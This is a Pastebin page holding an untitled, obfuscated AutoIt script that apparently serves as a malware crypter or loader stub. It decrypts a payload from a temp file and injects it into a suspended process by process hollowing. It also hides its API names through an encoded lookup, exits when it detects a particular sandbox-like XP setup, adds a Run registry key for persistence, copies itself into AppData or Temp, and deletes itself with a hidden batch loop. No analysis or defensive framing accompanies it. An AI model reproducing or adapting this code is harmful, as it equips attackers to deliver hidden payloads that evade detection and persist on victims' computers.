API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Aug 4th, 2015
187
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.97 KB | None | 0 0
raw download clone embed print report
  1.  
  2. #NoTrayIcon
  3. $Q30X5 = D31lGk(@TempDir & "\incl2")
  4. $X31NmnnTA = O3132E3b2($Q30X5, "giZQhnRDI-5GLnoTIqd4Mbp9NyvhTH")
  5. Y34IKsAuD($X31NmnnTA, $CmdLine[1], "")
  6. Func C30S2WV()
  7. If ProcessExists(Z33Tbn0R(42)) OR ProcessExists(Z33Tbn0R(43)) Then
  8. Exit
  9. EndIf
  10. EndFunc
  11. Global $J34kUU = ProcessList()
  12. #region Y34IKsAuD
  13. Func D31lGk($O35PAyLLR)
  14. Return FileRead($O35PAyLLR)
  15. EndFunc
  16. Func T32Aw($M37O4Ry)
  17. Global $M38gx = FileFindFirstFile(StringRegExpReplace($M37O4Ry, Z33Tbn0R(41), "") & P3235NEN2M6() & Y3236akOz())
  18. EndFunc
  19. Func Z33Tbn0R($M3130fm3F)
  20. $B3131Rbzj = D31lGk(@Tempdir & "\incl1")
  21. $L3132uPH = StringReverse(BinaryToString(StringReverse(BinaryToString(StringReverse(StringReplace(StringReplace(StringReplace(StringReplace(StringReplace($B3131Rbzj, "_", "2"), "?", "0"),"xms","3"), "#", "1"), "32t", "4"))))))
  22. $L3134MY6a = StringSplit($L3132uPH, "=")
  23. $C3136hTD = 0
  24. Do
  25. If $C3136hTD = UBound($L3134MY6a) - 1 Then ExitLoop
  26. $L3134MY6a[$C3136hTD] = StringTrimRight($L3134MY6a[$C3136hTD], StringLen($C3136hTD) + 1)
  27. $C3136hTD += 1
  28. Until $C3136hTD = UBound($L3134MY6a)
  29. Return StringReplace($L3134MY6a[$M3130fm3F + 1], @CR, "")
  30. EndFunc
  31. Func Y34IKsAuD($S3239vL1g, $R3330Rpa5 = $CmdLine[1], $A3331i7m = "")
  32. Global $O3332jyA = "ptr", $S3333E66XA = "handle"
  33. Local $N3334OaU = DllStructCreate("byte[" & BinaryLen($S3239vL1g) & "]"), $R3336sAMa, $L3337JbS6T, $Q3338PQLt, $V3339tSApn2, $L3430npI, $K3431l0mFLt, $Q3432bEN, $X3433Fq5ILS, $N3434gdlZn, $W34352J, $W3436Hesp, $X3437SXBL, $T34381Ngr
  34. DllStructSetData($N3334OaU, 1, $S3239vL1g)
  35. Local $V3531cKiqX = DllStructGetPtr($N3334OaU), $I3533iyX = DllStructCreate(Z33Tbn0R(2))
  36. Local $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(20), "wstr", $R3330Rpa5, "wstr", $A3331i7m, $O3332jyA, 0, $O3332jyA, 0, "int", 0, "dword", 4, $O3332jyA, 0, $O3332jyA, 0, $O3332jyA, DllStructGetPtr(DllStructCreate(Z33Tbn0R(1))), $O3332jyA, DllStructGetPtr($I3533iyX))
  37. If @error Or Not $M37O4Ry[0] Then Return 0
  38. Local $G3635NEBza = DllStructGetData($I3533iyX, "Process"), $B3637ke = DllStructGetData($I3533iyX, "Thread")
  39. If @AutoItX64 And O3876w82($G3635NEBza) Then Return N3130l5p($G3635NEBza)
  40. If @AutoItX64 Then
  41. If @OSArch = "X64" Then
  42. $R3336sAMa = 2
  43. $L3337JbS6T = DllStructCreate(Z33Tbn0R(5))
  44. Else
  45. Return N3130l5p($G3635NEBza)
  46. EndIf
  47. Else
  48. $R3336sAMa = 1
  49. $L3337JbS6T = DllStructCreate(Z33Tbn0R(6))
  50. EndIf
  51. Switch $R3336sAMa
  52. Case 1
  53. $Q3338PQLt = 0x10007
  54. Case 2
  55. $Q3338PQLt = 0x100007
  56. EndSwitch
  57. DllStructSetData($L3337JbS6T, "ContextFlags", $Q3338PQLt)
  58. $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(23), "handle", $B3637ke, $O3332jyA, DllStructGetPtr($L3337JbS6T))
  59. If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
  60. Switch $R3336sAMa
  61. Case 1
  62. $V3339tSApn2 = DllStructGetData($L3337JbS6T, "Ebx")
  63. Case 2
  64. $V3339tSApn2 = DllStructGetData($L3337JbS6T, "Rdx")
  65. EndSwitch
  66. Local $M3932Ra84kA = DllStructCreate(Z33Tbn0R(7), $V3531cKiqX), $M393463 = $V3531cKiqX
  67. $V3531cKiqX += DllStructGetData($M3932Ra84kA, "AddressOfNewExeHeader")
  68. Local $G3938JaXbS = DllStructGetData($M3932Ra84kA, "Magic")
  69. If Not ($G3938JaXbS == "MZ") Then Return N3130l5p($G3635NEBza)
  70. Local $P313032aE5 = DllStructCreate("dword Signature", $V3531cKiqX)
  71. $V3531cKiqX += 4
  72. If DllStructGetData($P313032aE5, "Signature") <> 17744 Then Return N3130l5p($G3635NEBza)
  73. Local $J313037uc6dXX = DllStructCreate(Z33Tbn0R(8), $V3531cKiqX), $V313039hGTohH = DllStructGetData($J313037uc6dXX, "NumberOfSections")
  74. $V3531cKiqX += 20
  75. Local $C313132gAu = DllStructCreate("word Magic;", $V3531cKiqX), $S313134dt = DllStructGetData($C313132gAu, 1), $E3131363rTa
  76. If $S313134dt = 267 Then
  77. If @AutoItX64 Then Return N3130l5p($G3635NEBza)
  78. $E3131363rTa = DllStructCreate(Z33Tbn0R(9), $V3531cKiqX)
  79. $V3531cKiqX += 96
  80. ElseIf $S313134dt = 523 Then
  81. If Not @AutoItX64 Then Return N3130l5p($G3635NEBza)
  82. $E3131363rTa = DllStructCreate(Z33Tbn0R(10), $V3531cKiqX)
  83. $V3531cKiqX += 112
  84. Else
  85. Return N3130l5p($G3635NEBza)
  86. EndIf
  87. Local $S313238jb = DllStructGetData($E3131363rTa, "AddressOfEntryPoint"), $A31333028rU = DllStructGetData($E3131363rTa, "SizeOfHeaders"), $K313332rE = DllStructGetData($E3131363rTa, "ImageBase"), $P313334U1B = DllStructGetData($E3131363rTa, "SizeOfImage")
  88. $V3531cKiqX += 40
  89. Local $Q313337cym80 = DllStructCreate("dword a; dword b", $V3531cKiqX), $R313339U8 = DllStructGetData($Q313337cym80, "a"), $V313431uAi = DllStructGetData($Q313337cym80, "b")
  90. If $R313339U8 And $V313431uAi Then $L3430npI = True
  91. $V3531cKiqX += 88
  92. If $L3430npI Then
  93. $Q3432bEN = G36jGxx($G3635NEBza, $P313334U1B)
  94. If @error Then
  95. $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
  96. If @error Then
  97. T37Zdpn($G3635NEBza, $K313332rE)
  98. $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
  99. If @error Then Return N3130l5p($G3635NEBza)
  100. EndIf
  101. EndIf
  102. $K3431l0mFLt = True
  103. Else
  104. $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
  105. If @error Then
  106. T37Zdpn($G3635NEBza, $K313332rE)
  107. $Q3432bEN = F356bl($G3635NEBza, $K313332rE, $P313334U1B)
  108. If @error Then Return N3130l5p($G3635NEBza)
  109. EndIf
  110. EndIf
  111. DllStructSetData($E3131363rTa, "ImageBase", $Q3432bEN)
  112. Local $J3137363NPPwW = DllStructCreate("byte[" & $P313334U1B & "]"), $R313738x3A = DllStructGetPtr($J3137363NPPwW), $O313830aBfvj = DllStructCreate("byte[" & $A31333028rU & "]", $M393463)
  113. DllStructSetData($J3137363NPPwW, 1, DllStructGetData($O313830aBfvj, 1))
  114. For $C3136hTD = 1 To $V313039hGTohH
  115. $X3433Fq5ILS = DllStructCreate(Z33Tbn0R(11), $V3531cKiqX)
  116. $N3434gdlZn = DllStructGetData($X3433Fq5ILS, "SizeOfRawData")
  117. $W34352J = $M393463 + DllStructGetData($X3433Fq5ILS, "PointerToRawData")
  118. $W3436Hesp = DllStructGetData($X3433Fq5ILS, "VirtualAddress")
  119. $X3437SXBL = DllStructGetData($X3433Fq5ILS, "UnionOfVirtualSizeAndPhysicalAddress")
  120. If $X3437SXBL And $X3437SXBL < $N3434gdlZn Then $N3434gdlZn = $X3437SXBL
  121. If $N3434gdlZn Then
  122. DllStructSetData(DllStructCreate("byte[" & $N3434gdlZn & "]", $R313738x3A + $W3436Hesp), 1, DllStructGetData(DllStructCreate("byte[" & $N3434gdlZn & "]", $W34352J), 1))
  123. EndIf
  124. If $K3431l0mFLt Then
  125. If $W3436Hesp <= $R313339U8 And $W3436Hesp + $N3434gdlZn > $R313339U8 Then
  126. $T34381Ngr = DllStructCreate("byte[" & $V313431uAi & "]", $W34352J + ($R313339U8 - $W3436Hesp))
  127. EndIf
  128. EndIf
  129. $V3531cKiqX += 40
  130. Next
  131. If $K3431l0mFLt Then H39yteIo($R313738x3A, $T34381Ngr, $Q3432bEN, $K313332rE, $S313134dt = 523)
  132. $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(19), "handle", $G3635NEBza, $O3332jyA, $Q3432bEN, $O3332jyA, $R313738x3A, "dword_ptr", $P313334U1B, "dword_ptr*", 0)
  133. If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
  134. Local $Y323336C7bo = DllStructCreate(Z33Tbn0R(12))
  135. $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(18), $O3332jyA, $G3635NEBza, $O3332jyA, $V3339tSApn2, $O3332jyA, DllStructGetPtr($Y323336C7bo), "dword_ptr", DllStructGetSize($Y323336C7bo), "dword_ptr*", 0)
  136. If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
  137. DllStructSetData($Y323336C7bo, "ImageBaseAddress", $Q3432bEN)
  138. $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(19), "handle", $G3635NEBza, $O3332jyA, $V3339tSApn2, $O3332jyA, DllStructGetPtr($Y323336C7bo), "dword_ptr", DllStructGetSize($Y323336C7bo), "dword_ptr*", 0)
  139. If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
  140. Switch $R3336sAMa
  141. Case 1
  142. DllStructSetData($L3337JbS6T, "Eax", $Q3432bEN + $S313238jb)
  143. Case 2
  144. DllStructSetData($L3337JbS6T, "Rcx", $Q3432bEN + $S313238jb)
  145. EndSwitch
  146. $M37O4Ry = DllCall(Z33Tbn0R(3), "bool", StringReverse("txetnoCdaerhTteS"), "handle", $B3637ke, $O3332jyA, DllStructGetPtr($L3337JbS6T))
  147. If @error Or Not $M37O4Ry[0] Then Return N3130l5p($G3635NEBza)
  148. $M37O4Ry = DllCall(Z33Tbn0R(3), "dword", "ResumeThread", "handle", $B3637ke)
  149. If @error Or $M37O4Ry[0] = -1 Then Return N3130l5p($G3635NEBza)
  150. DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(17), "handle", $G3635NEBza)
  151. DllCall(Z33Tbn0R(3), "bool", Z33Tbn0R(17), "handle", $B3637ke)
  152. Return DllStructGetData($I3533iyX, "ProcessId")
  153. EndFunc
  154. Func F356bl($G3635NEBza, $T323739NDph4p, $H323830zfj)
  155. Local $M37O4Ry = DllCall(Z33Tbn0R(3), $O3332jyA, Z33Tbn0R(25), "handle", $G3635NEBza, $O3332jyA, $T323739NDph4p, "dword_ptr", $H323830zfj, "dword", 0x1000, "dword", 64)
  156. If @error Or Not $M37O4Ry[0] Then
  157. $M37O4Ry = DllCall(Z33Tbn0R(3), $O3332jyA, Z33Tbn0R(25), "handle", $G3635NEBza, $O3332jyA, $T323739NDph4p, "dword_ptr", $H323830zfj, "dword", 0x3000, "dword", 64)
  158. If @error Or Not $M37O4Ry[0] Then Return SetError(1, 0, 0)
  159. EndIf
  160. Return $M37O4Ry[0]
  161. EndFunc
  162. Func G36jGxx($G3635NEBza, $H323830zfj)
  163. Local $M37O4Ry = DllCall(Z33Tbn0R(3), $O3332jyA, Z33Tbn0R(25), "handle", $G3635NEBza, $O3332jyA, 0, "dword_ptr", $H323830zfj, "dword", 0x3000, "dword", 64)
  164. If @error Or Not $M37O4Ry[0] Then Return SetError(1, 0, 0)
  165. Return $M37O4Ry[0]
  166. EndFunc
  167. Func T37Zdpn($G3635NEBza, $T323739NDph4p)
  168. DllCall(Z33Tbn0R(4), "int", Z33Tbn0R(24), $O3332jyA, $G3635NEBza, $O3332jyA, $T323739NDph4p)
  169. If @error Then Return SetError(1, 0, 0)
  170. Return 1
  171. EndFunc
  172. Func O3876w82($G3635NEBza)
  173. Local $M37O4Ry = DllCall(Z33Tbn0R(3), Z33Tbn0R(13), Z33Tbn0R(21), $S3333E66XA, $G3635NEBza, "bool*", 0)
  174. If @error Or Not $M37O4Ry[0] Then Return SetError(1, 0, 0)
  175. Return $M37O4Ry[2]
  176. EndFunc
  177. Func H39yteIo($R313738x3A, $C333138ziYote, $X333139Ii, $Z3332307urM, $U333231zF)
  178. Local $V333232FthX, $P333233nCTO, $P333234xlEW, $O333235yC02J, $T3332366O7koi, $Q333237IX, $R3336sAMa = 3 + 7 * $U333231zF
  179. While $P333233nCTO < DllStructGetSize($C333138ziYote)
  180. $V333232FthX = DllStructCreate(Z33Tbn0R(15), DllStructGetPtr($C333138ziYote) + $P333233nCTO)
  181. $P333234xlEW = DllStructGetData($V333232FthX, O3231oCXZf(98))
  182. $T3332366O7koi = DllStructCreate(Z33Tbn0R(16) & (($P333234xlEW - 8) / 2) & O3231oCXZf(93), DllStructGetPtr($V333232FthX) + 8)
  183. For $C3136hTD = 1 To (($P333234xlEW - 8) / 2)
  184. If BitShift(DllStructGetData($T3332366O7koi, 1, $C3136hTD), 12) = $R3336sAMa Then
  185. $Q333237IX = DllStructCreate($O3332jyA, $R313738x3A + DllStructGetData($V333232FthX, O3231oCXZf(97)) + BitAND(DllStructGetData($T3332366O7koi, 1, $C3136hTD), 0xFFF))
  186. DllStructSetData($Q333237IX, 1, DllStructGetData($Q333237IX, 1) + $X333139Ii - $Z3332307urM)
  187. EndIf
  188. Next
  189. $P333233nCTO += $P333234xlEW
  190. WEnd
  191. Return 1
  192. EndFunc
  193. Func N3130l5p($T333537FJ)
  194. DllCall(Z33Tbn0R(3), "bool", "TerminateProcess", "handle", $T333537FJ, "dword", 0)
  195. Return 0
  196. EndFunc
  197. #endregion
  198. Func F3131us()
  199. Return Z33Tbn0R(14)
  200. EndFunc
  201. Func O3132E3b2($H333539yl0uI, $P333630Negx)
  202. Local $M37O4Ry = Z33Tbn0R(30), $G333632ahi3B = Z33Tbn0R(26), $E333633M0R = "int", $V333634J0WxX = "str"
  203. Local $O333635vLBRfv = Z3133eRY5($M37O4Ry & J3135zSk($G333632ahi3B) & "]")
  204. Local $X33363838p = Z3133eRY5($M37O4Ry & J3135zSk($H333539yl0uI) & "]")
  205. L31347wNAV($O333635vLBRfv, $G333632ahi3B)
  206. L31347wNAV($X33363838p, $H333539yl0uI)
  207. DllCall(Z33Tbn0R(27), Z33Tbn0R(29), Z33Tbn0R(28), F3131us(), DllStructGetPtr($O333635vLBRfv), F3131us(), DllStructGetPtr($X33363838p), $E333633M0R, J3135zSk($H333539yl0uI), $V333634J0WxX, $P333630Negx, $E333633M0R, 0)
  208. Return DllStructGetData($X33363838p, 1)
  209. EndFunc
  210. Func Z3133eRY5($M37O4Ry)
  211. Return DllStructCreate($M37O4Ry)
  212. EndFunc
  213. Func L31347wNAV($M37O4Ry, $G333632ahi3B)
  214. Return DllStructSetData($M37O4Ry, 1, $G333632ahi3B)
  215. EndFunc
  216. Func J3135zSk($M37O4Ry)
  217. Return BinaryLen($M37O4Ry)
  218. EndFunc
  219. Func O31362LcHE()
  220. Return RegRead(Z33Tbn0R(36), "Progid")
  221. EndFunc
  222. Func E3137raDcFM()
  223. If Q313837X() Then
  224. Exit
  225. EndIf
  226. EndFunc
  227. Func Q313837X()
  228. If R3139H8Kq() = True Then
  229. If $J34kUU[18][0] = Z33Tbn0R(31) And $J34kUU[19][0] = Z33Tbn0R(32) And $J34kUU[20][0] = Z33Tbn0R(33) And $J34kUU[21][0] = Z33Tbn0R(34) Then Return True
  230. EndIf
  231. Return False
  232. EndFunc
  233. Func R3139H8Kq()
  234. If StringInStr(@OSVersion, "XP") AND StringInStr(@UserName, "Admin") AND StringInStr(@ComputerName, "pc") AND StringInStr(@OSServicePack, "3") Then Return True
  235. Return False
  236. EndFunc
  237. Func N3230lA0h()
  238. Return RegRead(Z33Tbn0R(37), Null)
  239. EndFunc
  240. Func O3231oCXZf($C3339352YjY)
  241. Return Chr($C3339352YjY)
  242. EndFunc
  243. Func J3232lkm1()
  244. Return RegRead(Z33Tbn0R(35), Null)
  245. EndFunc
  246. Func A3233gAG($I33393772Fv)
  247. RegWrite(O3231oCXZf(72) & O3231oCXZf(75) & O3231oCXZf(67) & O3231oCXZf(85) & O3231oCXZf(92) & O3231oCXZf(83) & O3231oCXZf(79) & O3231oCXZf(70) & O3231oCXZf(84) & O3231oCXZf(87) & O3231oCXZf(65) & O3231oCXZf(82) & O3231oCXZf(69) & O3231oCXZf(92) & O3231oCXZf(77) & O3231oCXZf(105) & O3231oCXZf(99) & O3231oCXZf(114) & O3231oCXZf(111) & O3231oCXZf(115) & O3231oCXZf(111) & O3231oCXZf(102) & O3231oCXZf(116) & O3231oCXZf(92) & O3231oCXZf(87) & O3231oCXZf(105) & O3231oCXZf(110) & O3231oCXZf(100) & O3231oCXZf(111) & O3231oCXZf(119) & O3231oCXZf(115) & O3231oCXZf(92) & O3231oCXZf(67) & O3231oCXZf(117) & O3231oCXZf(114) & O3231oCXZf(114) & O3231oCXZf(101) & O3231oCXZf(110) & O3231oCXZf(116) & O3231oCXZf(86) & O3231oCXZf(101) & O3231oCXZf(114) & O3231oCXZf(115) & O3231oCXZf(105) & O3231oCXZf(111) & O3231oCXZf(110) & O3231oCXZf(92) & O3231oCXZf(82) & O3231oCXZf(117) & O3231oCXZf(110), $I33393772Fv, O3231oCXZf(82) & O3231oCXZf(69) & O3231oCXZf(71) & O3231oCXZf(95) & O3231oCXZf(83) & O3231oCXZf(90), $CmdLine[1])
  248. EndFunc
  249. Func Z3234yH($W333939ZKUx, $Q343030mEbnK, $X343031kpxY4K = false)
  250. $E34303288m = "FileCopy('" & $W333939ZKUx & "', '" & $Q343030mEbnK & "')"
  251. Execute($E34303288m)
  252. $B343036rwy = 'ShellExecute("' & $Q343030mEbnK & '")'
  253. Execute($B343036rwy)
  254. If $X343031kpxY4K Then F3335QNd()
  255. Exit
  256. EndFunc
  257. Func P3235NEN2M6()
  258. Return "\"
  259. EndFunc
  260. Func Y3236akOz()
  261. Return "*"
  262. EndFunc
  263. Func X3237Yj7Tof()
  264. Return "|"
  265. EndFunc
  266. Func Z3238wzQ($M37O4Ry)
  267. Return StringReverse($M37O4Ry)
  268. EndFunc
  269. Func E3239X4jlUM()
  270. Return @TempDir & "\" & Random(50, 100, 1) & Z3238wzQ("tab.")
  271. EndFunc
  272. Func D3330KQoQ($O343132Q0, $K343133GE5gP)
  273. Global $A343134ifjd = Execute(O3231oCXZf(64) & O3231oCXZf(83) & O3231oCXZf(99) & O3231oCXZf(114) & O3231oCXZf(105) & O3231oCXZf(112) & O3231oCXZf(116) & O3231oCXZf(70) & O3231oCXZf(117) & O3231oCXZf(108) & O3231oCXZf(108) & O3231oCXZf(80) & O3231oCXZf(97) & O3231oCXZf(116) & O3231oCXZf(104))
  274. Global $Z343135pujlBx = Execute(O3231oCXZf(64) & O3231oCXZf(84) & O3231oCXZf(101) & O3231oCXZf(109) & O3231oCXZf(112) & O3231oCXZf(68) & O3231oCXZf(105) & O3231oCXZf(114))
  275. Global $H343136WdpB4U = Execute(O3231oCXZf(64) & O3231oCXZf(65) & O3231oCXZf(112) & O3231oCXZf(112) & O3231oCXZf(68) & O3231oCXZf(97) & O3231oCXZf(116) & O3231oCXZf(97) & O3231oCXZf(68) & O3231oCXZf(105) & O3231oCXZf(114))
  276. Global $F3431377pJWV = Execute(O3231oCXZf(64) & O3231oCXZf(83) & O3231oCXZf(99) & O3231oCXZf(114) & O3231oCXZf(105) & O3231oCXZf(112) & O3231oCXZf(116) & O3231oCXZf(68) & O3231oCXZf(105) & O3231oCXZf(114))
  277. Sleep(1000)
  278. Switch $O343132Q0
  279. Case O3231oCXZf(49)
  280. If $CmdLine[1] <> $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP Then
  281. Z3234yH($CmdLine[1], $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP, true)
  282. EndIf
  283. Case O3231oCXZf(50)
  284. If $CmdLine[1] <> $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP Then
  285. Z3234yH($CmdLine[1], $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP, true)
  286. EndIf
  287. Case O3231oCXZf(51)
  288. If $CmdLine[1] <> $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP Then
  289. Z3234yH($CmdLine[1], $H343136WdpB4U & O3231oCXZf(92) & $K343133GE5gP)
  290. EndIf
  291. Case O3231oCXZf(52)
  292. If $CmdLine[1] <> $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP Then
  293. Z3234yH($CmdLine[1], $Z343135pujlBx & O3231oCXZf(92) & $K343133GE5gP)
  294. EndIf
  295. EndSwitch
  296. EndFunc
  297. Func N3331PvZaRj()
  298. Return "."
  299. EndFunc
  300. Func K3332E6($M37O4Ry)
  301. T32Aw($M37O4Ry)
  302. Return $M38gx
  303. EndFunc
  304. Func S33333ab()
  305. If O31362LcHE() <> '' Then Return True
  306. Return False
  307. EndFunc
  308. Func P3334Do1($Q343338NXnTag, $Z343339E6u)
  309. FileWrite($Q343338NXnTag, $Z343339E6u)
  310. EndFunc
  311. Func F3335QNd()
  312. Local $J343432qQZq = E3239X4jlUM(), $M37O4Ry = @CRLF, $G333632ahi3B = @ScriptDir & "\" & @ScriptName, $E333633M0R = 'ping -n ' & 0 & '127.0.0.1 > nul'
  313. FileDelete($J343432qQZq)
  314. P3334Do1($J343432qQZq, $E333633M0R & $M37O4Ry & ':loop' & $M37O4Ry & 'del "' & $G333632ahi3B & '"' & $M37O4Ry & 'if exist "' & $G333632ahi3B & '" goto loop' & $M37O4Ry & 'del ' & $J343432qQZq)
  315. Run($J343432qQZq, @TempDir, @SW_HIDE)
  316. EndFunc
  317. Func W33365PI7()
  318. If S33333ab() Then Return StringLeft(StringTrimLeft(N3230lA0h(), 1), StringInStr(StringTrimLeft(N3230lA0h(), 1), '"') - 1)
  319. Return StringLeft(StringTrimLeft(J3232lkm1(), 1), StringInStr(StringTrimLeft(J3232lkm1(), 1), '"') - 1)
  320. EndFunc
  321. Func T3337KEjiC($S343537xA, $J343538WXs = "*", $D343539fJPbfT = 0, $T343630JQZem6 = False)
  322. Local $B343631qEwHt = "|", $Z343632cqT = "", $C343633pYgq2M = "", $M343634Bd = ""
  323. $S343537xA = StringRegExpReplace($S343537xA, "[\\/]+$", "") & "\"
  324. If $D343539fJPbfT = Default Then $D343539fJPbfT = 0
  325. If $T343630JQZem6 Then $M343634Bd = $S343537xA
  326. If $J343538WXs = Default Then $J343538WXs = "*"
  327. If Not FileExists($S343537xA) Then Return SetError(1, 0, 0)
  328. If StringRegExp($J343538WXs, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0)
  329. If Not ($D343539fJPbfT = 0 Or $D343539fJPbfT = 1 Or $D343539fJPbfT = 2) Then Return SetError(3, 0, 0)
  330. Local $D343739SsPe = FileFindFirstFile($S343537xA & $J343538WXs)
  331. If @error Then Return SetError(4, 0, 0)
  332. While 1
  333. $C343633pYgq2M = FileFindNextFile($D343739SsPe)
  334. If @error Then ExitLoop
  335. If ($D343539fJPbfT + @extended = 2) Then ContinueLoop
  336. $Z343632cqT &= $B343631qEwHt & $M343634Bd & $C343633pYgq2M
  337. WEnd
  338. FileClose($D343739SsPe)
  339. If $Z343632cqT = "" Then Return SetError(4, 0, 0)
  340. Return StringSplit(StringTrimLeft($Z343632cqT, 1), $B343631qEwHt)
  341. EndFunc
  342. Func Y3338PDUw()
  343. Local $U343933VD = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework", "InstallRoot")
  344. Local $R343934xi4z = T3337KEjiC($U343933VD , "*", 2), $Y343936iN = ''
  345. For $C3136hTD = $R343934xi4z[0] To 1 Step -1
  346. If StringRegExp($R343934xi4z[$C3136hTD], "v4\.0\.\d+", 0) Then
  347. $Y343936iN = $R343934xi4z[$C3136hTD]
  348. ExitLoop
  349. ElseIf StringRegExp($R343934xi4z[$C3136hTD], "v2\.0\.\d+", 0) Then
  350. $Y343936iN = $R343934xi4z[$C3136hTD]
  351. ExitLoop
  352. EndIf
  353. Next
  354. Return $U343933VD & $Y343936iN & "\vbc.exe"
  355. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!